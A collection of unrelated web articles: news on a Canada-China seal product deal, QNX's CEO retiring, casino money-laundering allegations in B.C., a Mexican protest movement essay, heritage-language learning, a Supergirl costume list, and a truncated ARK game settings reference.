Mary  • Bowl projections: Bama-FSU, Clemson-Wisconsin and more  • Long CFB reads | Has Baylor crafted the ultimate football offense?
-China has agreed to buy seal meat and seal oil from Canada, according to the federal fisheries minister.  "[We are] natural partners in the seafood industry," Fisheries Minister Gail Shea said Wednesday during a trade mission to China with Newfoundland and Labrador Fisheries Minister Clyde Jackman.  Shea said the deal between Canada and China will be signed Thursday.  P.O.V.: Do you support Canada’s new deal to sell seal meat to China? Take our survey.  "For the most part, our sealing industry derives its income from the sale of pelts," said Shea, in Beijing during a conference call with reporters.  "They don't get a lot of return from the sale of meat and oil, but what we are hoping to do because China is such a large market is work with our industry to support them in developing new products … so there is a lot of optimism in the industry today."  The price for seal pelts, which was at a high of more than $100 each a few years ago, sank to as low as $15 last year.  Gail said it is not possible to say what the value of the deal is now. She said the market will determine that.  Relief after a European ban  Seal hunters in Eastern Quebec are welcoming the deal after the European Union imposed a ban on imports of Canadian seal products in 2009.  Magdalen Islands Sealers' Association head Denis Longuépée says the deal will ease the financial losses for sealers brought on by the European ban.  "With this signing this morning, we're happy that countries like China decided not to follow those other countries, and sign with Canada. The population is so high in China that if everybody buys some pelt or product from seal, we won't have to trade anymore with Europe. So it's good news for us," said Longuépée.  The new deal covers edible seal products, but Longuépée believes it will stimulate sales of seal pelts as well.  The International Fund for Animal Welfare denounced the agreement, calling the seal hunt cruel, and saying it plans to launch a campaign against it in China.  Seal products from traditional Inuit hunts for subsistence are exempt from the ban, but Inuit groups challenged the general ban, arguing it would make it more difficult for them to sell their products. That argument was rejected in October by European Court of Justice Judge Marc Jaeger, who said the Inuit didn't provide evidence to justify their fears.  Animal protection groups applauded the decision.  Earlier this year, the Canadian government said the ban is unacceptable. It’s pursuing a complaint at the World Trade Organization.  Research by the federal Fisheries Department has found that the harp seal population of Atlantic Canada is now at between eight and nine million animals. A 2004 assessment of seal stocks estimated the harp seal population in the area at between 4.6 and 7.2 million.
-According to a new report from the Globe and Mail which has been confirmed by BlackBerry, Dan Dodge, co-founder and CEO of QNX Software Systems has resigned from the BlackBerry subsidiary, and will retire at the end of the year.  We are grateful for Dan Dodge's contributions to QNX and BlackBerry and his work building a start-up to an undisputed leader in embedded software. With Dan's retirement, John Wall, who has been instrumental to the success of QNX as Chief Operating Officer, will transition into the role of Senior Vice President and Head of QNX. We're appreciative of Dan's 35 years of dedication to QNX and wish him all the best in his retirement.  As Dodge notes in the article, "My decision to leave was my own," he said. "I threw my own party, invited everybody from QNX that I've known over the last 35 years and we had a grand time". Dan Dodge and Gordon Bell began work on QNX as students at the University of Waterloo in 1980 and by 1982, the first version of QNX was released. In 2004, QNX Software Systems was sold to Harman International Industries and was already widely used in the automotive industry for telematics systems.  On April 9, 2010, QNX Software Systems was then sold to then Research In Motion which then used it to power the BlackBerry PlayBook, BlackBerry 10, the BlackBerry IoT Platform and continues to grow it through various sectors such medical devices, industrial automation systems, network routers, and other mission- or life-critical applications as well as the automotive industry where it's currently used in over 50 million vehicles. Enjoy your retirement Dan, and thanks for everything!
-Richmond real estate lawyer Hong Guo says Chinese police have charged two of her former employees in connection to the disappearance of about $7.5 million that Guo alleges was stolen from her firm’s trust account, laundered through B.C. Lottery Corp. casino accounts, and transferred to China in the form of casino chips.  At a press conference Monday, Guo claimed that through her own investigations in B.C. and China, she has forwarded sufficient evidence to Chinese police authorities in order to secure charges against her former employees.  Guo claimed that through court actions, she has obtained B.C. casino transaction records to support her case.  Postmedia News has reported extensively on Guo’s case since late 2016. However, Guo’s allegation that suspects exploited weaknesses in B.C. Lottery Corp. accounts in order to launder funds stolen in Richmond and to transfer the criminal proceeds to China, will receive heightened scrutiny in the midst of an independent review into allegations of transnational money laundering in B.C. casinos. The first recommendations of Attorney-General David Eby’s reviewer Peter German will be released Tuesday.  In legal documents, Guo alleges that her former employees developed an inappropriate relationship in the office, and through a complex scheme, in March 2016 drained her trust account by forging her name on cheques, and then deposited millions in bank drafts into BCLC client accounts. Cash was withdrawn from casino accounts and somehow ended up in China, Guo’s legal filings allege.  On Monday, Guo added new details, alleging that suspects made massive cash and playing chip withdrawals from New Westminster’s Starlight Casino before fleeing to China.  “The facts I know, is (a female employee) took cash from her account every day, for a short period of time … $700,000, and $800,000. It’s a large amount. So the casino doesn’t think something is wrong?” Guo said.  Guo claimed that she also interviewed a New Westminster casino manager about her concerns.  “The manager said that, if you give us bank drafts into our account, the policy is you can (withdraw) as much cash as you like,” Guo said. “As long as it is a bank draft (deposit) you can withdraw cash.”  Even further, Guo claimed her investigation showed that gamblers can transfer BCLC casino chips to casinos in Asia, in order to exchange the B.C. gambling chips for cash outside of Canada.  Guo issued a statement saying: “Evidence obtained by Hong Guo through court order and Freedom of Information requests show (a female employee) transferred the money in the form of casino chips from her account at New Westminster’s … casino to casinos in China where they were turned into cash.”  Related  Guo said that for legal reasons, she could not provide casino transaction records to Postmedia. As Guo did not provide documents from China naming her former employees in connection to charges, Postmedia has decided not to name the man and woman.  The BCLC has claimed that patron gaming fund accounts, such as the one allegedly used by Guo’s former employee, have greater protections against money laundering, compared to large cash deposits. However, B.C. gaming enforcement branch documents raise concerns that bank drafts deposited into BCLC accounts are not adequately vetted for source of funds.  On Monday, Guo said that she believes in her case, these concerns about bank draft deposits and the vetting of funds in BCLC client accounts were proven true.  BCLC did not respond Monday to Postmedia’s request for comments on Guo’s allegations.  Guo also repeatedly accused the RCMP of failing to adequately investigate her case.  A confidential B.C. Gaming Enforcement Branch “Section 86” report obtained by Postmedia confirms that B.C. Lottery Corp. in April 2016 received a complaint at Starlight Casino in New Westminster, about the female suspect named by Guo.  “There were concerns that an unknown number of bank drafts submitted by (the suspect) for gambling purposes derived from a third party involved in fraud,” the document says. The suspect’s gaming privileges were cancelled and two banks, CIBC and BMO, investigated the alleged transactions, the document says. And several days later, a Richmond RCMP officer “confirmed he was investigating a $7.5 million fraud involving a law firm in Richmond,” the Section 86 report says. “(Suspect) is believed to be the recipient of some of those funds.”  Postmedia pointed to this document on Monday, and Guo responded: “I’m not aware of any action (RCMP) took … They didn’t help me at all.”  The RCMP did not respond to Postmedia’s requests for comment on Guo’s allegations.  Guo also claimed on Monday that a B.C. Law Society investigation of her trust fund shortage case has found no issues at her practice.  In response to questions from Postmedia after Guo’s press conference, Law Society spokesman David Jordan said: “Our investigation of Guo continues and details of any investigation remain confidential unless and until a citation is authorized.”  scooper@postmedia.com
-A yearly festival that showcases the South’s most renowned chefs and local farmers brought over 1,500 people to The Goat Farm on Sunday to raise money for two causes that are close to Atlanta’s restaurant industry and the local community .  The Attack of the Killer Tomato Festival, started by chef Ford Fry, kicked off its sixth year and brought attention to Georgia Organics and to bring the community together with local farmers and find a connection with the food they eat. “We are attempting to break down barriers of organic food and also teach our kids about where their fruits and vegetables come from,” said Kate Klein, development coordinator of Georgia Organics.  The organization holds various programs such as “My Market Club” to introduce people to local farmers markets and launched the 5 Million Meals Campaign, a statewide effort to get 5 million meals served with locally grown food in K-12 cafeterias in the 2012-2013 school year.  For the first time, the festival also raised money for The Giving Kitchen, a nonprofit started to help provide crisis grants to members of Atlanta’s restaurant community facing unanticipated hardship. The nonprofit was started after the city’s well-known chef Ryan Hidinger was diagnosed with late stage cancer.  “We were excited to partner with them and think it is a great way for our community to be a part of the restaurant community,” said TGK’s executive director Stephanie Galer. “Whether you’re a diner, a waiter or a chef, we are all touched by the restaurant industry, and we want TGK to be an important resource for our hospitality community.”  The nonprofit is less than a year old and has already distributed over $50,000 in grants to restaurant professionals in the city. TGK gives grants to help people in the hospitality community pay rent, bills and other costs when they come across a hardship so they don’t have to worry about losing their jobs.  The festival introduces the causes to the community, but the organizations are always looking for volunteers to help year-round. Georgia Organics needs volunteers to spread the message of the organization, be volunteers in the office or embrace the outdoors at one of the many farms around Georgia.  And The Giving Kitchen wants the Atlanta community to be ambassadors for its mission, and “spread the word to people in the hospitality industry that we are here to help them through a tough time,” added Galer.  The festival raised approximately $120,000 which will benefit Georgia Organics and The Giving Kitchen.  In other news: The Fragile Kids Foundation was awarded a $125,000 grant from the James M. Cox Foundation to support the expansion of the organization’s statewide medical loaned equipment program. The funds will allow the FKF to purchase 70 additional pieces of therapeutic and rehabilitative equipment, expanding its equipment inventory available for loan by 25 percent. The James M. Cox Foundation provides funding for capital campaigns and special projects in communities where the company operates. The Foundation concentrates its community support in several areas, including conservation and environment, early childhood education, empowering families and individuals for success and health.
-One recent Saturday morning inside a small storefront classroom in Long Beach, preschoolers, toddlers and their parents bounced along to a Spanish-language song. Afterward, they talked amongst themselves in Spanish – some with more difficulty than others.  The place is called The Family Nest, a part-time Spanish immersion school for young children. The parents that come here are mostly Latino. But many aren't immigrants – or, for that matter, great Spanish speakers.  Some have had to work at it - and still are, along with their kids.  “It’s challenging, because I’ve spoken English for 30 years of my life," said Mariela Salgado, who attends classes there with her two young daughters. "I've been in American schools all my life. I have an MBA. I worked in corporate America. So English has been my primary language."  Salgado arrived with her family from Mexico when she was three. She grew up in Culver City and went to school in Brentwood. Later, she attended Pepperdine University, and assimilated - just as her parents had hoped.  Then she got married, and had kids. That got Salgado and her husband thinking about the cultural legacy they'd leave their children.  "For me, tradition will be passed down with Spanish," Salgado said. "So it's important that both my girls learn Spanish."  The challenge?  "Because I speak English so much better at this point, I don’t speak enough Spanish to them." Salgado said.  Welcome to the future of Spanish in America.  According to the Pew Research Center, by now more than half the nation's adult Latino population is U.S.-born. Meanwhile, fewer immigrants are arriving from Latin America.  What this means is that gradually, the U.S. is seeing a shrinking number of Spanish-speaking households. It’s expected that by 2020, only two-thirds of U.S. Latino households will speak Spanish.  “The Census Bureau projects that in just a few years, we are going to reach about one-third of Hispanic young people living in a household where only English is spoken," said Mark Hugo Lopez. director of Hispanic research with the Pew Research Center.  More of these young people are intermarrying – at least a quarter have non-Latino partners, Lopez said. Throw in busy lives, with work, school, and other obligations, and teaching Spanish to one's kids isn’t easy.  Now here's where I take this story into the first-person: I'm one of those parents.  My parents brought me to the U.S. from Cuba when I was three. Today, I'm raising a nine-year-old daughter, Lucia. And teaching her Spanish has been, well, challenging. Like the time I spent taking her to weekend Spanish immersion classes when she was younger.  “I thought that the weekend Spanish school for me, when I was about 5 to 6, I hated it!" Lucia said when I asked her about it the other day. "My teacher only spoke Spanish and didn’t translate.”  After more tantrums than I care to remember, I gave it a rest. We tried applying out-of-district to dual-immersion public school, but didn't get in. These days, I try my best to pepper our daily routine with Spanish, but it isn't much.  Lucia understands more Spanish than she lets on, but she's reluctant to speak it. Asked a question in Spanish, she replies in English.  On weekends when we visit my parents, my mother, Haydee, drills Lucia on her Spanish vocabulary. She wishes I were trying harder.  "It's a shame, a little bit of a shame, that she doesn't speak more Spanish," my mother said. "She could be more fluent by now."  After all, I'm bilingual - thanks largely to my parents' insistence when I was growing up that I always speak Spanish at home. But I had to brush up, too. I took Spanish in high school and in college. Even so, English is my daily default.  Parents like these often wind up The Family Nest with their kids, said owner Maria Palazzolo. It's one of a handful of private, part-time Spanish bilingual education schools in the Los Angeles area for young children. On Saturday mornings, families are invited to join in and socialize together with their kids.  Palazzolo said in some ways it's part school, part support group.  “More than anything I have found that a lot of the moms that come here feel supported," Palazzolo said. "They are like, whew, I am not the only one! There are other people going through the same thing.”  This includes Palazzolo - formerly Trujillo - whose background is in early childhood education. She’s Mexican American, raised in Long Beach. Her husband is Italian and Filipino. She didn’t speak any Spanish at home until her son, Massimo, was born three years ago.  “Once I started talking to him in Spanish, I realized, wow, this is harder than I thought!" Palazzolo said. "I needed to brush up on my Spanish a little bit more. That’s when I decided to have a program that will support that.”  She started meet-ups for moms who could brush up on their Spanish together, while their little ones learned, too. She opened the storefront classroom last spring.  Like many of her clients, Palazzolo would like to enter her son in dual-immersion classes, in which native-speaker kids learn along with non-native speakers. But these can be hard to get into, Palazzolo said. Some school districts don't have them. In the end, much is up to the parents.  Both Palazzolo and Salgado have tried to brush up on their Spanish with a number of tools: Apps, dictionaries, Google Translate, trying to muddle their way through Spanish-language media. Even relatives have been enlisted to help.  "I do make an effort on a daily basis," Salgado said, "looking up words on Google or online to remember what they sound like. Even with my mother. I actually have conversations in Spanish with my mother. I didn’t for a long time. I always used to talk to her in English."  Salgado said she grew up in the 1980s in a household where assimilation was stressed; her father insisted she perfect her English to get ahead.  Pew's Mark Hugo Lopez says this isn't uncommon - and that some of these same people are the ones rediscovering Spanish.  "Back in the fifties, sixties, even in the seventies, depending on the part of the country, (people) were really being told that they should be speaking English, and be American," Lopez said. "But today, for young Latinos, it's rather more a story of 'speak Spanish and be proud of your heritage.'"  Lopez said these days, it's not uncommon to see young, English-dependent Latinos signing up for college Spanish courses.  Carol Venegas-Schuster, another Family Nest mom, said she came close to losing her Spanish at one point. She eventually took Spanish classes as an adult.  It helps these days that her husband is from Spain - but so does attending mommy-and-me classes with her toddler. She says her Salvadoran immigrant parents are impressed.  "They are very happy that my Spanish sounds better, because I can express myself better," Venegas-Schuster said. "Before they would correct me all the time, or my dad would say, 'You can't speak Spanglish!'"  Salgado said she wants to pass much more than a language along to her children.  "For us, it is not about that second language necessarily, it’s about that identity for ourselves, who we are, what piece of us to pass on to our kids," Salgado said.  For Palazzolo, it's also passing on a sense of respect for "how much my parents struggled to be here, and how much they had to go through."  My mother describes it like this: "We are passing traditions," she said, "and lots of things that we were taught by our parents and our grandparents – and the love of family.”  So what happens if we try and fail? Not all is lost, according to Nina Hyams, a linguistics professor at UCLA.  "There has been some interesting research that shows that even children who don’t actively speak the language themselves as children, if they are exposed to it, at least in the home setting, then later in life, say when they are in college and they want to actually learn their heritage language...they have an advantage," Hyams said.  These Spanish learners won't necessarily have an advantage when it comes to learning grammar, Hyams said, but they'll have an easier time with pronunciation, and acquiring a native-like accent.  It's a ray of hope, at least. The other day, after school, my daughter Lucia told me she’d learned the name of the Spanish priest who founded the first California missions.  “My teacher was pronouncing it Joo-ni-pero Serra," she complained.  Then she said it in perfect Spanish: Junípero Serra. Accent and all.
-UPDATE: OCT 22, 2008This image features all Supergirl costumes that Kara has used. before doing this, I made a simple rule:- It has to be Kara. (altough I broke this rule just once)That because I don't consider any other to actually 'be' Supergirl.The order of appearance is:1. Original version, Action Comics #2522. Action Comics #260 JANSupergirl becomes Super-baby.The following costumes were submitted by fans in the 70s, that why there are so many of them in a very short period of time.3. Adventure Comics 397, SEP 1970Made by joining the designs of- Louise Anne Kelly- Jean Bray (Springlake, Michigan)4. Adventure Comics 412, NOV 1971* no credits for design5. Adventure Comics 407, JUN 1971Made by Anthony Kowalsky (Harvey, Illinois)6. Adventire Comics 408, JUL 1971A variation in color from the previous costume(printer error ??)7. Adventure Comics 409, AUG 1971Made by Margaret Berg (MY, NY)8. Adventure Comics #402 FEB 1971Supergirl goes to on a date9. Adventure Comics 410, SEP 1971Made by John Sposato10. Adventure Comics 411, OCtuber 1971Simplified by DC staff.. I think..12. Adventure Comics 415, FEB 1972* no creditsEnd of costume sent by fans.11. Superman 376 (Preview for The Daring New Adventures of Supergirl) OCT 198213. The Daring New Adventures of Supergirl(later re-title Supergirl) NOV 1983credited to a fashion designer.. couldn't find the name)14. Supergirl MAR 1984Modification for the headband and curly hair.She stayed in this costume until her death on Crisis on Infinite Earths in 1985.15. Supergirl Motion Picture 1985Made for the movie, in the DVD you can see test screens of Helen Slater using the previous costume.16. Superman/Aliens #1 JUL 1995Before the re-introduction of Kara, Superman finds a 'Kara' with an origin very similar to the original Kara.17. Elseworlds Finest: Supergirl & Batgirl #1 - 1998There's no Batman or Superman in this world.18. Superman Animated SeriesEpisode "Little girl Lost"19. Justice League UnlimitedEpisode "Chaos at Earth's Core"20. Kingdom Come.She lives in the 30th Century with the LOSH here. There's another one here but not described as 'Kara' so I didn't include her.21. Supergirl One Million.Supergirl #79 - 2003I may have to include another one here.. SG 1000000 uses a different colors, the one here is how she was depicted as Ariella, the daughter of PAD's Linda, the only non-kara Supergirl that I ever like, that's why she's here.22. Supergirl #80 - 2003Final shot of Ariella at the end of this series, same costume as SG 1000000, some differences in costume color and hair style.23. Superman/Batman 13Design by Michael TurnerRe-introduction of Kara Zor-El as Supergirl.24. Tiny Titans #8 - 2008A kids book of the Teen Titans + other young superheroes.25. Supergirl 33 - 200826. Kara from Smallville, season 7th.27. Supergirl: Cosmic Adventures in the Eighth Grade #1 - 2008Another comic for kids featuring Supergirl... I don't like the blue leggins..28. Superman/Supergirl:Maelstorm #2 - 200829. Supergirl #??Coming design from Jamal Igle.Note: I included here the animated costumes because when BT and company wanted to introduce Supergirl in the animated series, they wanted the real one: Kara, not the blob of protoplasm named 'Matrix', DC said 'no' so they created a Kara from a planet in the same solar system as Krypton that got destroyed too when Krypton exploded. Her name was initially Kara in-Ze, not a pure kriptonian, not affected by kriptonite (for example) but as time passed, she was slowly transformed into the kriptonian Kara, including her vulnerability to kriptonite. So.. it's Kara.Please report errors or omissions
-Nicolas Bay, general secretary of France’s Front National (FN) party, revealed Ms Le Pen had secured the signatures just days before the deadline. However, the endorsement signatures must still be validated by the constitutional council.  GETTY Marine Le Pen looks to become a presidential candidate after receiving 500 government sponsors  Mr Bay also said on Tuesday Ms Le Pen was the sixth candidate to have gathered 500 signatures from mayors or local officials dotted across France. In 2012, the year Socialist president François Hollande came into power, Ms Le Pen struggled to get the endorsements needed; and secured them within days of the target date.  Laurent Fabius, the head of the constitutional council, the highest constitutional court in the country, reiterated this week that the signatures had to come from “at least” 30 different departments or overseas territories, and that “no more than 10 per cent” of the sponsors could come from a single department or territory.  GETTY Nicolas Bay, general secretary of the FN party, announced the news just days before the deadline  What’s more, all 500 endorsement signatures must first be “approved and validated” by the constitutional council, he said. Ms Le Pen, who has long been considered the ‘underdog’ candidate, is gaining support and inching closer to victory.  GETTY Marine is expected to breeze through to the final round of voting in May  The anti-EU Elysée hopeful is set to breeze through to the second and final round of voting in May, an Ifop-Fiducial voting intentions poll for Paris Match, CNews and Sud Radio published on Wednesday shows. The FN chief is predicted to come first in the election’s first round in April with 26 per cent of the votes, while centrist candidate Emmanuel Macron would garner 24.5 per cent and centre-right candidate François Fillon 19.5 per cent, the poll revealed.  GETTY Emmanuel Macron is expected to come second in the first round of the elections in April
-While many Republicans are calling on their party to be more inclusive after stinging losses in the 2012 election, the director of issues analysis of a conservative fundamentalist Christian organization says that it’s time to “clamp down” on immigrants because Hispanics voted for President Barack Obama.  “Hispanics are not Democrats, don’t vote Democrat because of immigration,” the American Family Association’s Bryan Fischer said in video posted by Right Wing Watch on Tuesday. “It has to do with the fact that they are socialists by nature. They come from Mexico, which is a socialist country. They want big government intervention, they want big government goodies.”  “Now they want open borders — make no mistake — because they’ve got family and friends that they want to come up and be able to benefit from the plunder of the wealth of the United States, just as they have been able to do.”  He continued: “Republicans can pander all they want to Hispanics, to immigrants and it will not work. There is no way on Earth you care going to get them to leave the Democratic Party. It’s one reason we got to clamp down on immigration.”  Watch this video from American Family Association’s Focal Point, broadcast Nov. 13, 2012.
-The political and humanitarian crisis in the southern Mexican state of Guerrero marks a new low in a country marred by corruption and drug violence. More than a month after the disappearances of 43 students there is still no sign of them, while official government search efforts are laced by ambiguities to say the least.  At the same time the disappearances have stirred up a hornet’s nest that has taken the form of an unparalleled and broad social movement in all corners of Mexico.  Mexico, with Guerrero at its epicenter, seems torn between despair and hope. Despair from the horror of the atrocious events in Iguala, and hope from the structural change promised by the societal response. Which social and political processes have erupted, exactly, and what does this mean for the possibilities of social change in Mexico?  A breeding ground for revolutionaries  The entrance of the Rural Normal school in Ayotzinapa welcomes her students with murals of Che Guevara, Vladimir Lenin, Friedrich Engels, and Carlos Marx. The disappeared students come from a school with a history of left politics embedded in a special national education program set up to train primary school teachers. Started in 1920, this program has the express goal of social emancipation of the poor. The school has produced two of Guerrero’s most important guerrilla leaders in the seventies and, unsurprisingly, has gained the reputation of being a breeding ground for radical activism.  Contemporary students are the children of farmers and indigenous families living in the poorest and most marginalized areas of Mexico. The school’s position as a hotbed of activism has not gone unnoticed and has constantly forced students to face state repression in the form of chronic underfunding, police violence and criminalization.  The disappearances  On September 25, a group of Ayotzinapa students went to the nearby town of Iguala to organize transport to the remembrance protest of the 1968 Tlatelolco student massacre. For lack of money, the students appropriated three buses on the fateful night; in response, the mayor of Iguala gave orders to stop the buses “no matter what.” Enforcing the orders, the local police opened fire on several buses, killing six students and bystanders and leaving 25 wounded. The night deteriorated into a head-hunt for the fleeing students, 43 of whom were eventually abducted in police vehicles never to be heard of since.  The response of the government was riddled with exceptional incompetence, as the following events reveal. The day after the drama, the responsible mayor of Iguala requested a leave of absence and went on the run. Meanwhile, the governor of Guerrero and the president of the republic have been involved in a ping-pong game of finger pointing to avoid responsibility. The respected human rights center Tlachinollan, located in Guerrero, has pointed out the serious deficiencies in the official investigation and the search for the students. Consequently, the parents of the disappeared students have announced to only trust the findings of a foreign team of investigators. Mexicans have lost all trust in the authorities to bring the crisis to a just end.  A public secret revealed  The Iguala events have irrefutably revealed ties between powerful drug cartels, the local police force and the responsible mayor. The interwoven nature of local governments with organized crime is no secret. But the revelations brought to light by the recent events have forced the government to break with their policy of official denial. As president Peña Nieto stated at a press conference, “the Iguala events have revealed the naked truth.”  Ayotzinapa has become the paragon of institutional ties with drug cartels and represents the sickness that has been ailing Mexican society in the form of corruption, extreme violence and impunity for years.  The movement that has risen in response to the Iguala events breaths a certain sense of relief. A family member of an Ayotzinapa student who disappeared a few years ago, relates how the movement has helped her: “Without Ayotzinapa our voices would still be shrouded in silence.”  Where people used to whisper, they now openly agitate against the narcogobierno [drugs government]. This sea change must not be underestimated in the context of the extreme violence and repression which would normally make a public expression of this nature a dangerous act. Ayotzinapa has finally laid bare this public secret.  The perfect storm?  The disappearance of the students has mobilized and brought together diverse local groups from all social strata and regions of Mexican society. Committees of support have been set up in the most remote corners of Mexico, the Zapatistas have held a silent march in Chiapas and famous Mexican actors have declared their solidarity. However, the heart of the movement is located in Iguala, in the Asamblea Nacional Popular (ANP) headed by the parents and schoolmates of the disappeared students.  The strength of the Ayotzinapa movement is based in the coalition of student and teachers organizations. This coalition seems to be the recipe for a perfect storm. Both are at the forefront of the struggle and are flooding Mexican streets with staggering numbers, of which the 50.000 strong demonstration on October 22 in Mexico City has been the largest so far.  In Guerrero, epicenter of the struggle, highways are blockaded daily, government buildings are torched and radio stations occupied and taken over. Students and teachers of leading universities have called various strikes, and there is talk of a general strike to come. To top all this off, teachers associations have set themselves the goal of taking over all of Guerrero’s town halls. At the time of writing the count is set at 22 out of a total of 81.  In recent Mexican history, teachers and students have been the vanguard of social struggles, which has given them an important symbolic value. It also provides the current movement with the needed practical experience and organizational structures to build upon.  Roots of the movement  Mexican universities are well known for their militant and radical student movements. The latest revival took place in the form of a national movement called #YoSoy132 (#IAm132). The movement started during the presidential election campaigns of 2012 when the students agitated for the democratization of the media because of their their partial reporting, which favored erstwhile presidential candidate Enrique Peña Nieto. The movement is organized horizontally and made up of 130 local and autonomous assemblies spread all over Mexico, coordinating in its national Interuniversitaria, which has now taken up the cause of the Ayotzinapa students.  Just like #YoSoy132, the radical teachers organizations besmirched the start of the presidential term of Peña Nieto with large-scale protests when he announced controversial neoliberal reforms in education, energy and telecommunications. The democratic section of the national teachers union CNTE, well known for their role in the Oaxaca uprising of 2006, has led the protests against the attempt to privatize Mexican education.  In Guerrero, these militant protests were led by the teachers organization CETEG, which has united the forces of farmers, indigenous people, students and community police, thereby broadening the struggle against the entire neoliberal offensive of the new government. Besides the education reforms, they protested the privatization of the energy sector, destructive mining projects, repression of political activists and the lack of public security.  The Interuniversitaria, CNTE and CETEG are the motor of the current Ayotzinapa movement.  Insecurity unites a diverse movement  “Alive they took them, alive we want them back.” Recurrent in all protests, this slogan expresses the most important demand of the movement: the unharmed return of the students and the punishment of all those responsible for their disappearance. Banners and social media also often show the hash-tag ‘#AyotzinapaSomosTodos’ [#WeAreAllAyotzinapa]. This sends the clear message that this ‘could have happened to anybody in Mexico’. This sad reality of the structural insecurity caused by the deep ties between the corrupt government and organized crime speaks to a diversity of Mexicans and is the glue that binds the Ayotzinapa movement.  A current in the movement articulates Ayotzinapa as a systemic problem. It is mainly the radical teachers organizations which are determined not to settle for the usual course of events in Mexican political crises, namely a reshuffling of the political cards and then back to business as usual. The protesters’ response to the resignation of Guerrero’s governor says it all. “It will not solve anything,” was the loud response after which the mobilization and protests continued with unrelenting zeal. Indeed, the appointment of an interim governor of Guerrero was answered immediately with the demand for his dismissal since he was not chosen by el pueblo, the people, but by the federal government. On their own terms, the Ayotzinapa movement demands the dissolution of the municipal, state and federal governments. As they say in Mexico, “The cob must be stripped of all its corn.”  The broad coalition that makes up the Ayotzinapa movement has its internal complexities and tensions. The issue of insecurity speaks just as well to people who want a properly functioning liberal democracy as to radical groups that would like to see far-reaching political change. This is evident from the following examples.  A few days after the disappearance of the students, shopkeepers and merchants of Guerrero’s capital Chilpancingo joined the protest demanding the resignation of the governor. The extreme violence in the region has been seriously affecting commerce in Chilpancingo, leading to this groups’ participation. Under a similar pretext of insecurity, 200 striking police officers in Acapulco joined the struggle. While the middle classes focus on the issue of insecurity, a group of socialist students of the Ayotzinapa movement choose a more fundamental focus.  The students have decided to temporarily occupy two mega-stores in Chilpancingo to hand out food and basic supplies. Electronics and luxury items remain untouched, which makes it different from ordinary plundering, but rather sends a clear political statement that inequality is at the root of the problems in Mexico. This message also resonates in many of the highway blockades, where the Ayotzinapa movement gives civil vehicles free passage but denies it completely to the trucks of multinationals like Coca Cola and BIMBO, symbols of the inequality of the capitalist system.  The different currents that feed the Ayotzinapa movement are its strength because of the broad support. At the same time, the divergent currents carry with them the risk of fragmentation.  From de-escalation to militarization  During the first month of protests, the government was surprisingly peaceful in its response. Even when more militant actions occurred, like setting fire to government buildings or occupations of town halls, the authorities did not intervene. The government seemed to be hoping for a fiery but short lived movement that would burn out by itself. Besides, this de-escalation strategy was at the time the only realistic course of action since a new victim of state violence would only have heightened the flames of discontent.  However, the government did employ its usual tactic of discrediting the students and teachers by labeling them as dangerous and radical vandals. More recently they have even stooped to the level of accusing the Ayotzinapa students of being allied to a drug cartel. Strikingly enough, these accusations have not had the sought-after effect on the people.  On October 29, more than a month into the protests, the first violent confrontation with the military police forces took place when teachers of CETEG attempted to occupy the Casa Guerrero, the White House of Guerrero. Meanwhile, the government is taking over control of the cities of Guerrero as well as twelve municipalities. A large-scale militarization of the region is taking place, denounced by the teachers organizations as an attempt to suppress the movement. Now that more and more anger is directed towards the president himself, the chances of a violent intervention are growing by the day.  Self-organization: leading by example  The long-standing community police forces of Guerrero are an inspiration to the Ayotzinapa movement. When people speak of real solutions to rising insecurity, they are quick to refer to the self-organized community police, “where the people do it themselves.”  Indigenous communities, mostly, have organized their police groups based on their own culture and organizational structures. The police are directly responsive to the community which governs and controls their activities. The areas where the community police is active are seen as the safest places in Guerrero.  UPOEG is one of the community police organizations which has gained a lot of respect by immediately organizing search parties for the disappeared students, coordinating their efforts with the parents. As such, UPOEG is filling the void left by the government and shows the power and possibilities of self-organization. Besides its policing role, UPOEG is also putting forward a plan to create a ‘fourth level of government’ next to the existing federal, state and municipal structure of Mexico. This would take the shape of a ‘council of community leaders’ with the aim of pulling political power to the bottom of Mexican society: the communities.  Self-organization in Guerrero is referred to by the Ayotzinapa movement as an example of what another Mexico might look like.  The importance of international pressure  The fear that political instability will disrupt Mexican commercial interests makes the country highly susceptible to international pressure. This was apparent when the Zapatistas rose up in 1994 during the implementation of the NAFTA free trade agreement. The pressure exerted on Mexico as a response to the international solidarity movement was of crucial importance in the course of the Zapatista struggle.  The Mexican government does not want to lose her image as ‘stable’ and ‘open for business’. The protesters in Mexico are well aware of this fact. They have made a satirical version of the cover of the influential Time Magazine and spread it far and wide via social media. The image parodies an edition of Time with Peña Nieto ‘Saving Mexico’ on the front cover. The parody depicts the president as Death with a scythe in his hand, accompanied by the text “Slaying Mexico.” This is a firm call for international pressure.  International intellectuals supported the struggle with a critical open letter to president Peña Nieto signed by Noam Chomsky, Umberto Eco and more than two-thousand other academics.  Once more, it is of crucial importance that the eyes of the world are turned to Mexico to restrain its government from using all-out repression against the Ayotzinapa movement. The course of struggle is unclear, and a burst of violence lurks in every corner, just like the possibility for social change. One thing is certain: a diverse group of Mexicans is envisioning Another Mexico, which now more than ever, is possible.
-ARKFORUM.DE - ATLAS / ARK GameUserSettings.ini Generator  command description value  [ServerSettings]  allowThirdPersonPlayer Enables 3rd Person view  AllowCaveBuildingPvE If set to True, allows building in caves when PvE mode is also enabled.  alwaysNotifyPlayerJoined Players will always get notified if someone joins the server  alwaysNotifyPlayerLeft Players will always get notified if someone leaves the server  bAllowFlyerCarryPvE Allows flyers to pick up players and dinos  bDisableStructureDecayPvE Disable the gradual (7 days) decay of player structures  DayCycleSpeedScale Specifies the scaling factor for the passage of time in the ARK, controlling how often day changes to night and night changes to day. The default value 1 provides the same cycle speed as the singleplayer experience (and the official public servers). Values lower than 1 slow down the cycle; higher values accelerate it. Base time when value is 1 appears to be 1 minute real time equals approx. 28 minutes game time. Thus, for an approximate 24 hour day/night cycle in game, use .035 for the value. - Calculate your values here  DayTimeSpeedScale Specifies the scaling factor for the passage of time in the ARK during the day. This value determines the length of each day, relative to the length of each night (as specified by NightTimeSpeedScale. Lowering this value increases the length of each day. - Calculate your values here  NightTimeSpeedScale Specifies the scaling factor for the passage of time in the ARK during night time. This value determines the length of each night, relative to the length of each day (as specified by DayTimeSpeedScale. Lowering this value increases the length of each night. - Calculate your values here  DinoCharacterFoodDrainMultiplier Specifies the scaling factor for dinosaurs\' food consumption. Higher values increase food consumption (dinosaurs get hungry faster).  DinoCharacterHealthRecoveryMultiplier Specifies the scaling factor for dinosaurs\' health recovery. Higher values increase the recovery rate (dinosaurs heal faster).  DinoCharacterStaminaDrainMultiplier Specifies the scaling factor for dinosaurs\' stamina consumption. Higher values 